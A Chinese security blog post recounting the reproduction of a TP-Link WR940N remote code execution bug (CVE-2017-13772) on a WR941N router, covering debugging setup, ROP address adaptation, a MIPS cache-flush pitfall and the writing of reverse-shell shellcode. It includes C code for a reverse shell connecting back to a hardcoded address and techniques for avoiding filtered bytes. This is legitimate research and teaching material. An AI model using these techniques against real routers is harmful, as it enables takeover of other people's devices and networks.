Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >TP-LINK WR941N路由器研究

TP-LINK WR941N路由器研究

原创
作者头像
Seebug漏洞平台
发布于 2018-03-16 06:23:11
发布于 2018-03-16 06:23:11
2.2K6
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

作者:Hcamael@知道创宇404实验室

之前看到了一个CVE, CVE-2017-13772

是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是CVE-2017-13772文章中给的EXP并不通用

所以准备进行复现和exp的修改,折腾了将近4天,记录下过程和遇到的坑

第一次研究mips指令的RCE,之前只学了intel指令集的pwn,所以进度挺慢的

Day 1

第一天当然是配环境了,该路由器本身在默认情况下是不提供shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有/tmp目录可写,路由器重启后,传上去的文件就没了,这些问题都可以通过刷固件解决,不过太麻烦了,只需要传上去一个gdbserver就好了,能根据固件中的bin得知这是一个大端mips指令集的设备,gdbserver也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

gdbserver.mipsbe通过tftp上传到路由器的/tmp目录下

然后根据cve-2017-13772分析文章说的那样使用gdbserver attach httpd最新的一个进程,然后就可以进行远程gdb调试了

Day 2

第二天准备开始调试,但是发现gdb的两个编译选项, 一个--host,表示gdb运行的环境,一般默认就是本机环境,还有一个--target表示调试的目标环境,默认也是本机环境,所以一个64位ubuntu上默认的gdb只能调试64 elf程序。所以需要设置--target=mipsbel-linux参数进行编译gdb,才能调试大端的mips程序。

编译差不多编译了半天,准备改天搞一个8核的机器专门来编译程序....

编译成功后,就可以进行远程调试了,在路由器上执行:

代码语言:txt
AI代码解释
复制
> /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 pid

然后使用编译好gdb进行调试:

代码语言:txt
AI代码解释
复制
$ gdb
(gdb) target remote 192.168.1.1:12345

但是失败了,又折腾了半天

Day 3

第三天才真正的开始调试程序,首先说说我第二天遇到的问题,问题是下了断点没用,原因比较傻逼,我下断点的地址是wr940n的地址,我把两个bin搞混了

然后根据cve-2017-13772分析文章中说的栈溢出的指令,在wr941n中也找到了该指令,而溢出情况也是一样,所以拿了wr940n的exp来打了一遍,结果当然是失败了。

在wr940n的exp中,ROP是在libuClibc-0.9.30.so中找的,根据$ cat /proc/pid/maps命令,发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的,然后再比较libuClibc-0.9.30.so文件的hash值,发现不同,所以要修改ROP地址。

由于libc文件太大,用手找太累了,所以使用了那篇文章中的ida的mipsrop插件,这里又踩了一个坑,因为我用的是ida7.0,而这个插件只能在ida6.8(更低的没试过)版本使用。

修改了ROP后,再进行尝试exp,发现仍然失败,然后进行调试查看原因,跟踪ROP执行流,发现能成功跳转到栈上执行shellcode,但是shellcode和文章中的,文章中的shellcode开头有一个使用xor进行解密的过程,执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode

Day 4

第四天就是开始写shellcod,首先给个mips指令和bin互转的网站:Online Assembler and Disassembler

然后说说写的过程中遇到的问题,该路由器输入是不接受\x00\x20,所以ROP不是在ELF中寻找而是去libc中寻找:libuClibc基地址:0x2aae000httpd基地址:0x00400000

如果在ELF中寻找ROP,则地址中总会有个\x00,所以ROP是在libc中寻找不存在\x00\x20的地址。但是在shellcode中,这两个字符却很难避免,所以那篇文章中对shellcode进行了xor加密

wr940n的exp使用的是一个bind shell的shellcode,而我改成了一个反弹shell的shellcode

然后就是最后遇到的一个大坑,使用gdb调试成功的一个反弹shell的shellcode,在实际测试中却失败了,使用gdb成功,直接打失败,因为这个问题折腾了挺长的时间

然后查阅资料,在看雪的一篇文章中找到了原因:https://www.kanxue.com/article-read-218.htm 

mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache:指令 cache 和数据 cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush,将数据写回到主内存。攻击者的攻击 payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞,劫持程序执行流程的时候,会去执行内存中的 shellcode。

如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。

最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep 的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行 flush。

这个坑点在那篇文章中也提及了,但是没具体说明,如果没实际踩一踩,不一定能理解。但是讲道理,如果直接用wr940n的exp,修改下ROP地址和shellcode,应该是不会遇到这个坑的,但是我仍然遇到了,经过研究发现,是usleep的问题,猜测是由于堵塞的时间过短所以未执行flush?然后进行实际测试了一番,把usleep的时间修改为18217,同样没用,然后简单看了下两者的汇编,发现usleep只是简单的调用nanosleep,而sleep除了调用nanosleep还进行其他相关的操作,网上没搜到相关文章,因为精力有限,作为遗留问题,以后有时间的时候再继续研究。

不过有几个猜测,

  1. 时间问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?因为找不到合适的ROP,所以暂时没法证明
  2. flush内存是靠sleep中的几个信号相关的函数?

所以最终我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc*2+1),但是我将usleep改成sleep => sleep(0xc*2+1),数据缓存被成功flush到主内存中,就能成功执行shellcode了

Shellcode编写

在本次研究中,最后时间的除了一开始的调试环境搭建外,就是shellcode的编写了,因为在那篇cve分析的文章中已经给出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的还是在Shellcode的编写这一部分

首先是syscall部分,比如:

代码语言:txt
AI代码解释
复制
li $v0, 4183
syscall 0x40404
# sys_socket
  • mips采用的是RISC,32位系统下,指令固定采用4byte,syscall的字节码是\x0c,剩余的三字节默认用\x00补全,但是因为路由器不接受\x00的输入,所以在大端的情况下改成\x01\x01\x01\x0c,进行反汇编,就是syscall 0x40404

系统调用的相关函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

比如sys_socket

代码语言:txt
AI代码解释
复制
#define __NR_Linux			4000
#define __NR_socket			(__NR_Linux + 183)

所以$v0=4183表示的就是socket函数,具体参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html

代码语言:txt
AI代码解释
复制
int sys_socket(int family, int type, int protocol)

现在,先用c来实现一遍反连shell的代码:

代码语言:txt
AI代码解释
复制
$ cat test.c
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main(void)
{
	int sockfd;
	sockfd = socket(2,2,0);
	struct sockaddr_in addr;
	addr.sin_family = 2;
	addr.sin_port = 0x3039;
	addr.sin_addr = 0xc0a80164;
	connect(sockfd, &addr, sizeof(addr))
	dup2(sockfd, 0);
	dup2(sockfd, 1);
	dup2(sockfd, 2);
	execve("//bin/sh", 0, 0);
	return 0;
}

这里有个关键点,https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

和其他架构不一样,mips架构中,tcp是2,udp是1

所以上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中就是tcp反连

还有一点就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理

然后把上面代码转换成mips指令的汇编

但是有个问题,之前说了该路由器不接收\x00\x20两个字符,而上面的汇编转换成字节码:

代码语言:txt
AI代码解释
复制
nor     $a0,$t7,$zero   =>   "\x01\xe0\x20\x27"

所以要把这句指令进行修改, 因为$a0$a1的值都为2,所以可以这样修改:

代码语言:txt
AI代码解释
复制
sw      $a1,-1($sp)  =>  "\xaf\xa5\xff\xff"
lw      $a0,-1($sp)  =>  "\x8f\xa4\xff\xff"

把上面的汇编转成shellcode替换exp中的shellcode,实际测试,又发现一个问题,设备成功反连了控制端,但是却不能执行命令,到路由器上用ps查看,发现sh已经变为僵尸进程

经研究,问题出在execve("/bin/sh",0,0),如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)则成功反弹shell,可以任意命令执行

参考链接
  1. https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
  2. https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
  3. http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly
  4. https://www.kanxue.com/article-read-218.htm
  5. https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
  6. http://asm.sourceforge.net/syscall.html
  7. https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
6 条评论
热度
最新
路由器“玩”的真好,学习楼主的教程
路由器“玩”的真好,学习楼主的教程
回复回复点赞举报
我也是用的WR941N路由器啊
我也是用的WR941N路由器啊
回复回复点赞举报
没想到一个小小的路由器还有这么多的玩法,厉害了。
没想到一个小小的路由器还有这么多的玩法,厉害了。
回复回复点赞举报
事实上,很多时候路由器都是非常不安全的。早起的路由器不具备智能的能力,在安全设置上做的一般,而智能后的路由器,如果用户随意修改系统,也会暴露出很多安全问题。
事实上,很多时候路由器都是非常不安全的。早起的路由器不具备智能的能力,在安全设置上做的一般,而智能后的路由器,如果用户随意修改系统,也会暴露出很多安全问题。
回复回复点赞举报
这个不错哦,我好好读读!
这个不错哦,我好好读读!
回复回复点赞举报
学习学习,研究过程
学习学习,研究过程
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
TP-LINK 远程代码执行漏洞 CVE-2017-13772 趣谈
原文地址:https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/ 译者:hello1900@知道创宇404实验室 1 前 言 本文重点讨论作者近期从事 TP-Link WR940N 家用 WiFi 路由器漏洞研究获得的心得体会,主要从发现漏洞代码路径的必要步骤与通过这些路径实现远程代码执行的方式两方面入手。 首先,我将介绍如何找到第一个漏洞以及生成完整攻击链的方法;然后,说明此漏洞已形成特定模式,可使设备遭受数百种
Seebug漏洞平台
2018/03/30
1.3K0
路由器漏洞 EXP 开发实践
本文主要以 CVE-2013-0230 漏洞为例,讲解路由器上缓冲区漏洞的 exp 编写。
信安之路
2018/08/08
1.3K0
路由器漏洞 EXP 开发实践
TP-LINK 远程代码执行漏洞 CVE-2017-13772 趣谈
原文地址:《A CURIOUS TALE OF REMOTE CODE EXECUTION, THE TP-LINK STORY – CVE-2017-13772》
Seebug漏洞平台
2018/03/15
4.1K0
TP-LINK 远程代码执行漏洞 CVE-2017-13772 趣谈
使用 GDB 获取软路由的文件系统
最近在研究某款软路由,能在其官网下载到其软路由的ISO镜像,镜像解压可以获取到rootfs,但是该rootfs无法解压出来文件系统,怀疑是经过了某种加密。
Seebug漏洞平台
2021/08/10
1.1K0
Linux下Shellcode编写
基本过程是首先使用汇编通过系统调用的方式实现程序功能,编译成可执行文件,然后使用 objdump 进行机器码提取
yichen
2022/01/06
2.3K0
为安全出把力:CVE-2011-1938漏洞分析以及exp编写
## 0x01 前言 首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在是不知道咋写,所以只能写个本地的,说不定以后就有思路了。欢迎大家一起与我多交流。 ## 0x02 漏洞分析 本次漏洞很简单,我就直接拿别人分析过的贴上来了。 Vulnerable code In ext/sockets/sockets.c: ``` PHP_FUNCTION(socket_connect) { zval
安恒网络空间安全讲武堂
2018/02/06
1.2K0
为安全出把力:CVE-2011-1938漏洞分析以及exp编写
C语言 | C++ 基础栈溢出及保护机制
如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理---输出” 流程的程序:
小林C语言
2020/12/25
5K0
C语言 | C++ 基础栈溢出及保护机制
MIPS-漏洞研究常用工具及调试方法
正常apt安装的binwalk一般都是不完整的,需要我们先卸载后在github中下载安装,之后才可以正常提取路由器的固件,否则将出现下图错误
偏有宸机
2021/04/01
1.2K0
路由器0day漏洞挖掘实战
本文已发表到安全客:https://www.anquanke.com/post/id/180714
用户1423082
2024/12/31
1230
路由器0day漏洞挖掘实战
[starCTF / *CTF 2021] Pwn方向writeup
白给题,触发malloc_consolidate就可以leak+overlapping了
赤道企鹅
2022/08/01
5420
TP-Link TL-WR840N EU v5 远程代码执行
型号: TP-Link TL-WR840N EU v5 易受攻击的固件版本: TL-WR840N(EU)_V5_171211 / 0.9.1 3.16 v0001.0 Build 171211 Rel.58800n
Khan安全团队
2021/11/23
9810
TP-Link TL-WR840N EU v5 远程代码执行
BUUCTF-刷题记录
使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271和425138641即可直接读取flag
偏有宸机
2020/11/04
2.2K0
BUUCTF-刷题记录
MIPS PWN 实例 —— UCTF 2016 ADD
题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5
用户1423082
2024/12/31
850
MIPS PWN 实例 —— UCTF 2016 ADD
ROP的基本原理和实战教学,看这一篇就够了!
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。
Java程序猿
2023/02/21
3.5K0
如何入侵路由器
对于大多数开启防火墙的路由器来说,入侵的第一步就是接入路由器局域网络(LAN),这一步有好多种方法可以尝试:Wifi万能钥匙、破解WEP加密、破解WPS PIN码、使用字典爆破Wifi密码等等。而对于公共场合的路由器来说,这一步就不是问题了,Wifi密码是公开的,任何人都可以直接接入。
知识与交流
2023/03/25
2.6K0
如何入侵路由器
远程RPC溢出EXP编写实战之MS06-040
0x01 前言 MS06-040算是个比较老的洞了,在当年影响十分之广,基本上Microsoft大部分操作系统都受到了影响,威力不亚于17年爆出的”永恒之蓝”漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出,而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂,正好用来实践编写metasploit的远程利用脚本。 0x02 前期准备 1. Windows XP Professiona
FB客服
2018/02/24
1.2K0
Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
R8300 是 Netgear 旗下的一款三频无线路由,主要在北美发售,官方售价 $229.99。
Seebug漏洞平台
2020/08/26
1.9K1
Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
学习PWN一个月后能做什么?
原理 栈是一种后进先出的数据结构。在调用函数的时候,都会伴随着函数栈帧的开辟和还原(也称平栈)。栈结构示意图如下(以32位程序为例):
franket
2022/03/25
8200
从 0 开始学 Linux 内核之 android 内核栈溢出 ROP 利用
最近在研究一个最简单的android内核的栈溢出利用方法,网上的资料很少,就算有也是旧版内核的,新版的内核有了很大的不同,如果放在x86上本应该是很简单的东西,但是arm指令集有很大的不同,所以踩了很多坑
Seebug漏洞平台
2019/02/26
1.6K0
MIPS漏洞调试环境安装-栈溢出
主要是IDA,IDA的安装就不用多说了。这里说明的是辅助插件MIPSROP这些插件的安装,书里面给的插件的链接已经无法支持IDA 6.7以后的版本,主要是由于版本以后的API有更新,具体原因IDA的官方博客也给出了说明,查看了issue以后,发现有大佬已经写了能够支持IDA7.0的插件,安装的命令照着readme做即可顺利的装上。
随心助手
2019/10/15
1.8K0
相关推荐
TP-LINK 远程代码执行漏洞 CVE-2017-13772 趣谈
更多 >
领券
💥开发者 MCP广场重磅上线!
精选全网热门MCP server,让你的AI更好用 🚀
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档